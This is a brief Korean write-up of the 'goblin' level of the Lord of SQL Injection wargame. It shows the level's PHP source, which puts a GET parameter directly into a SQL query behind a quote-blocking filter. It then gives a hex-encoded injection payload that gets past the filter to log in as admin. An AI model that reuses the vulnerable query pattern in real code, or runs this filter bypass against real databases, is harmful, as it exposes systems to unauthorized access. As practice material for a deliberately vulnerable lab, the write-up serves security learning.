[Lord of SQL Injection] goblin

http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

no에 GET을 받고 있다. 하지만 Quotes를 차단하는 것으로 보인다. 그렇다면 hex로 뚜까 패주면 된다!
No값에 0x27%20or%20id=0x61646D696E%23

0x27 = ' 
0x61646D696E = admin
%23 = #